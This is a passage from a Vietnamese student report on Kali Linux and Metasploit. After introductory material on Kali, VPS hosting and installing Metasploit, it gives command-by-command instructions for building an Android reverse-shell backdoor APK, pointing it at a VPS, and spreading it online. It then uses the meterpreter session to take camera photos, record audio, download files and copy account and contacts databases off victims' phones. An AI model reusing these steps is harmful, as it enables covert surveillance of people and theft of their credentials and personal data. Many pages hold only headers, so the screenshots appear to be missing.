câu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây.

3.1.3. Khả năng tùy biến cao

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao diện, giờ

đây người dùng đa có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc XFCE tùy

theo sở thích và thói quen sử dụng.

3.1.4. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành Kali. Với

BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài lại mới hoàn

toàn (Ngoại trừ phiên bản R2 lên R3 năm ngoái).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đa dễ dàng hơn

trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới hoàn

toàn nữa.

3.2.Cài đặt Kali Linux

Page 14: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 14

Page 15: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 15

Page 16: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 16

Page 17: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 17

Page 18: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 18

Page 19: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 19

Page 20: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 20

Page 21: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 21

Page 22: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 22

Page 23: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 23

Page 24: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 24

3.3.Metasploit framework trong Kali linux

3.3.1. Giới thiệu

Metasploit framework là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode

(payload) để tấn công máy có lỗ hổng.Cùng với một số bộ công cụ bảo mật khác. Metasploit có

cơ sở dữ liệu chứa hàng ngàn shellcode,hàng ngàn exploit của các hệ điều hành,các chương trình

hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các exploit... nên càng ngày nó

càng trở thành một bộ công cụ mạnh mẽ.

Metasploit framework là một bộ dự án sinh ra để kiểm tra độ an toàn, nhưng đối với những hacker

thì nó thực sự là một công cụ vô cùng hữu ích (dùng để kiểm tra, khai thác lỗi, exploit…)

3.3.2. Sử dụng metasploit framework

3.3.2.1.Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà metasploit có hỗ trợ để khai thác

Muốn chọn ta có thể dùng lệnh "show exploits" để hiện ra tất cả các exploit mà metasploit

framework có hỗ trợ.

Để dùng exploit nào đó ta dùng câu lệnh "use name_exploit" .Trong đó tham số name_exploit là

tên của exploit đc metasploit hỗ trợ.

Để biết thêm các thông tin về exploit mà ta đa chọn có thể dùng lệnh "info name_exploit".

Ví dụ: mình sử dụng một exploit sau khi đa liệt kê ra sẽ là:

use windows/manage/add_user_domain

3.3.2.2.Cấu hình module exploit đa chọn

Sau khi đa chọn một exploit với command use, việc tiếp theo là cấu hình các options mà exploit

này yêu câu. Để rõ hơn exploit này nó yêu câu cấu hình như thế nào, phải cấu hình những gì, ta sử

dụng lệnh "show options".

Khi sử dụng lệnh show option ta thường nhận đc một bảng gồm các cột như sau:

Name--------------Current Setting----------------Required---------------Description

Trong đó, ở cột required nếu giá trị là "yes" thì ta phải set giá trị cho tham số này, còn nếu là "no"

thì ta có thể set hoặc không. Quan trọng phải xem một số nó đa cấu hình mặc định cho rồi có

thích hợp với chúng ta hay không.

Ta dùng lệnh “set” để cấu hình những options của module đó.

Ngoài ra nó còn có thêm một số options khác,dùng "show advanced", "show evasion" để xem.

Sau khi cấu hình xong ta cân kiểm tra xem việc cấu hình đa đúng hay chưa. Để kiểm tra việc cấu

hình ta dùng lệnh "check" để xem mục tiêu có bị tấn công được hay không. Đây là một cách

Page 25: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 25

nhanh để ta kiểm tra xem việt cấu hình các options bằng lệnh set có đúng hay không và mục tiêu

thực sự có lỗ hổng để khai thác được hay không. Nhưng không phải tất cả các exploit đều thực sự

có thể kiểm tra được bằng việc sự dụng lệnh check. Đôi khi ta phải thực sự exploit nó mới biết

được.

3.3.2.3.Lựa chọn payload Payload là một đoạn code đc chạy trên máy victim, dùng để thực hiện một số họat động nào đó,

hoặc dùng để kết nối về máy của hacker.

Vậy làm sao để có cái payload này trên máy của victim? Có 2 phương pháp chủ yếu được dùng.

Đó là gửi cho victim thông qua việc phân tính một lỗi, lỗ hổng nào đó trên hệ thống victim, từ đó

đột nhập và đưa đoạn payload này vào máy victim. Kiểu thứ 2 là gửi trực tiếp cho victim, chờ đợi

victim sơ ý nhận nó.

Để hiện thị các payloads tích hợp cho exploit hiện tại chúng ta đang dùng, ta dùng lệnh "show

payloads".

Tương ứng với mỗi OS khác nhau ta dùng một payload khác nhau, và phương pháp cũng khác

nhau. Các giao thức dùng cũng khác nhau... Nhìn chung đối với payload có thể phân ra làm 2 loại

cơ bản đó là bind payload và reverse payload. Khi nào ta dùng loại nào? Đây cũng là một vấn đề

quan trọng. Nếu như máy của chúng ta (đóng vai trò là hacker) đứng sau một tường lửa, thì lúc

này ta nên dùng bind payload. Mở một port trên máy tính và kết nối trực tiếp từ máy hacker đến

máy victim. Còn nếu như victim đứng sau một tường lửa, còn chúng ta thì không. Khi đó chúng ta

dùng reverse payload để connect ngược từ máy victim về máy chúng ta. Như vậy cho thấy khi tấn

công mục tiêu, ta phải tìm hiểu rõ ràng về mục tiêu, tìm kiếm tất cả các thông tin có thể có. Dựa

vào đó mà ta chọn cách thích hợp.

Khi ta quyết định chọn một payload nào đó, dùng lệnh "set PAYLOAD name_payload" để chọn

payload cân dùng.

Giả sử muốn dùng payload windows/meterpreter/reverse_ord_tcp thì ta thao tác là:

set PAYLOAD windows/meterpreter/reverse_ord_tcp

Ta nhận đc là: PAYLOAD => windows/meterpreter/reverse_ord_tcp

Tượng tự để xem rõ thông tin, options về payload ta có thể dùng các lệnh như "show options",

"info name_payload" ,"show advanced",…

Sau khi thực hiện tất cả các thiết lập xong thì ta dùng lệnh "exploit" để xem kết quả.

3.4.Tấn công android dùng Metasploit Framework trong Kali Linux

Page 26: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 26

Trước tiên chúng ta sẽ tạo ra một backdoor bằng cách dùng lệnh:

msfpayload android/meterpreter/reverse_tcp lhost=192.168.159.128 lport=8080 R >

/root/Desktop/app.apk

Trong đó 192.168.159.128 là địa chỉ ip của máy Kali.Chúng ta có thể xem nó bằng cách dùng

lệnh:

ifconfig

Page 27: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 27

Và đây là file app.apk mà chúng ta vừa tạo

Tiếp theo chúng ta mở metasploit bằng cách dùng lệnh:

msfconsole

Page 28: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 28

Chúng ta cài đặt các thông số cân thiết

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.159.128

set lport 8080

Với lhost và lport giống với khi chúng ta tạo file app.apk

Ta mở một cái android ảo và tải về file app.apk, cài đặt và mở lên được giao diện như dưới, nhấp

vào nút Reverse_tcp:

Page 29: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 29

Vậy là ta đa kết nối thành công tới máy android này, ở msfconsole sẽ như sau:

Để xem thông tin về máy, nhập lệnh sysinfo

- Sử dụng camera:

Để xem danh sách camera, nhập webcam_list

Page 30: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 30

Để chụp hình bằng camera, nhập webcam_snap a với a là id của camera xem ở danh sách camera

ở phân trước. Ví dụ như sau:

- Ghi âm

Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy

Page 31: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 31

- Lấy file từ sd card

Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục

Ta tải file app.apk trong thư mục Download của sdcard

Dùng lệnh cd /sdcard/Download để vào thư mục

Page 32: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 32

Như trên hình, ta thấy 1 file là app.apk, để tải về máy, ta nhập lệnh

download app.apk

Và file này sẽ được tải về thư mục root của máy Kali

4. Thực hiện xâm nhập android thông qua mạng Internet 4.1.Giới thiệu về VPS

4.1.1. VPS là gì?

Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy chủ vật lý thành

nhiều máy chủ ảo. Trong khi trên một server chạy một Share Host thì có thể có hàng trăm tài

khoản chạy cùng lúc, nhưng trên server chạy VPS thì con số này chỉ bằng 1/10. Do vậy, VPS

có hiệu năng cao hơn Share Host rất nhiều.

Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn quyền quản

lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn chế 100% khả năng bị

hack local.

Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài nguyên

server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh hưởng đến các Website

khác cùng server, riêng server VPS, một tài khoản trên VPS bị tấn công thì mọi tài khoản

khác trên VPS đều hoạt động bình thường.

Page 33: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 33

VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn nặng, nếu chạy

trên Share Host sẽ không đáp ứng đủ yêu câu.Tuy nhiên, VPS đòi hỏi người sử dụng phải có

thêm một số kiến thức về bảo mật, cấu hình server,….

4.1.2. Đặc điểm về thông số VPS

Hoạt động hoàn toàn như một server riêng nên sở hữu một phân CPU riêng, dung lượng RAM

riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành riêng.

Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.

Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng dụng khác thì

có thể cài đặt để thực hiện những yêu câu riêng như truy cập Web bằng trình duyệt Web trên

VPS, dowload/upload bittorrent với tốc độ cao…

Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài nguyên mà không

cân phải khởi động lại hệ thống.

Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.

4.1.3. Giá trị khi sử dụng VPS

Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói VPS phù hợp.

Miễn phí chi phí cài đặt ban đâu cũng như cấu hình hoạt động cho khác hàng.

Hỗ trợ khác hàng cài đặt miễn phí thêm các phân mềm riêng.

Được cấu hình và cài đặt hệ thống Firewall và DDOS Protection.

Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh.

Page 34: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 34

4.2.Cài đặt metasploit

Để cài đặt metasploit trước tiên ta phải vào trang http://metasploit.com để tải bộ cài đặt metasploit

về máy của mình. Ta nhấp vào phân Free Metasploit Download và nó sẽ hiện ra trang bên dưới

Ở đây mình sẽ down bản METASPLOIT COMMUNITY.

Sau khi nhấp vào link, nó sẽ xuất hiện một trang đăng kí. Mình nhập thông tin đây đủ và nhấp vào

SUBMIT & DOWNLOAD để nhận một license

Page 35: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 35

Tiếp theo nó sẽ xuất hiện trang download, ta sẽ chọn bản phù hợp.

Sau khi tải xong, ta bắt đâu tiến trình cài đặt. Trước tiên ta nhấp vào bản cài đặt và nhấn Next

Page 36: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 36

Bên dưới ta chọn thư mục để cài đặt và nhấn Next

Ta phải đảm bảo rằng các phân mềm diệt virut đều được đóng, nếu không nó sẽ ngăn cản việc cài

đặt

Page 37: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 37

SLL Port, Server Name và Days of validity ta để mặc định

Ta tiếp tục nhấn Next để bắt đâu cài đặt

Page 38: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 38

Cài đặt xong ta nhấp Finish để kết thúc việc cài đặt

Sau khi kết thúc việc cài đặt, ta sẽ vào link http://localhost:3790/ để đăng kí tài khoản. Ta nhấp

đây đủ theo những yêu câu bên dưới và nhấn Create Account

Page 39: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 39

Sau đó trình duyệt sẽ chuyển đến trang nhập key để active chương trình

Ta vào địa chỉ mail mà ta đa sử dụng khi download bộ cài đăt metasploit, điền key vào và nhấn

ACTIVE LICENSE

Page 40: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 40

Như vậy là ta đa có một tài khoản metasploit

4.3.Xâm nhập vào thiết bị android

Trước tiên ta mở Terminal trong Kali Linux lên và gõ lệnh để tạo một backdoor:

msfpayload android/meterpreter/reverse_tcp lhost=14.0.21.184 lport=4444 R>

/root/Desktop/app.apk

Trong đó 14.0.21.184 là địa chỉ máy VPS của ta.

/root/Desktop/app.apk là đường dẫn chứa file vừa tạo.

Page 41: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 41

Sau khi tạo một backdoor được tạo, ta tải nó lên mạng.

Khi máy android down về cài đặt và truy cập vào thì sẽ hiện lên như bên dưới:

Ta vào máy VPS và mở Metasploit Console lên

Page 42: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 42

Sau đó ta sẽ đánh các lệnh như bên dưới để tạo một môi trường và liên kết với máy android mà ta

sẽ tấn công:

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 14.0.21.184

set lport 4444

run

Ở đây lhost và lport phải giống với lhost và lport khi tạo backdoor

Khi máy android nhấp vào biểu tượng có chữ ReverseTCP thì sẽ có thông báo là đa kết nối

Page 43: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 43

Ta gõ lệnh help để hiện lên các lệnh mà ta có thể sử dụng để hack android

- Xem thông tin

Ta dùng lệnh sysinfo để xem thông tin máy android

Page 44: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 44

- Xem camera

Ta dùng lênh webcam_list để xem danh sách các camera

Ta dùng lệnh webcam_snap x để chụp một bức ảnh từ camera của máy android.

Trong đó: x là 1: Back Camera

2: Front Camera

Để di chuyển đến thư mục nào ta dùng lệnh

cd<đường dẫn đến thư mục>

Lệnh ls để xem trong thư mục có những gì

Ta vào thư mục /sdcard/Download để down file về

Page 45: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 45

- Download file

Ta dùng lệnh download<tên file> để down file đó về máy VPS của ta

Muốn xóa một file ta dùng lệnh rm<tên file>

Page 46: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 46

- Đánh cắp tài khoản, danh bạ

Để đánh cắp tài khoản trước tiên ta phải vào hệ thống của máy android. Lưu ý: máy android này

phải được root trước đó.

Ta dùng lệnh shell để vào hệ thống

Dùng lệnh su để toàn quyền truy cập

Dùng lệnh whoami để biết máy android đa được root chưa. Nếu rồi thì nó sẽ hiện thông báo là

unknown uid 0

Ta gõ cd /data/system để vào thư mục system

Tiếp theo gõ ls –l để xem trong thư mục có gì

Page 47: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 47

Ta gõ lệnh cp accounts.db /sdcard để copy file accounts.db về Sdcard

Sau đó ta trở về meterpreter bằng lệnh exit rồi dùng lệnh

download file accounts.db về máy VPS của chúng ta

Page 48: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 48

Tiếp tục ta vào địa chỉ

cd /data/data/com.android.providers.contacts/databases

Để copy file contacts2.db về Sdcard bằng lệnh

cp contacts2.db /sdcard

Sau đó ta download file contacts2.db về máy VPS

Page 49: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 49

Ta mở file *.db bằng phân mềm SQLite. Ta có thể down phân mềm đó về vài cài vào VPS của

chúng ta

Page 50: Bao cao giua ki

LÊ TRÂN XUÂN LANH LỚP CNTT CA SÁNG 2-4-6

Trang 50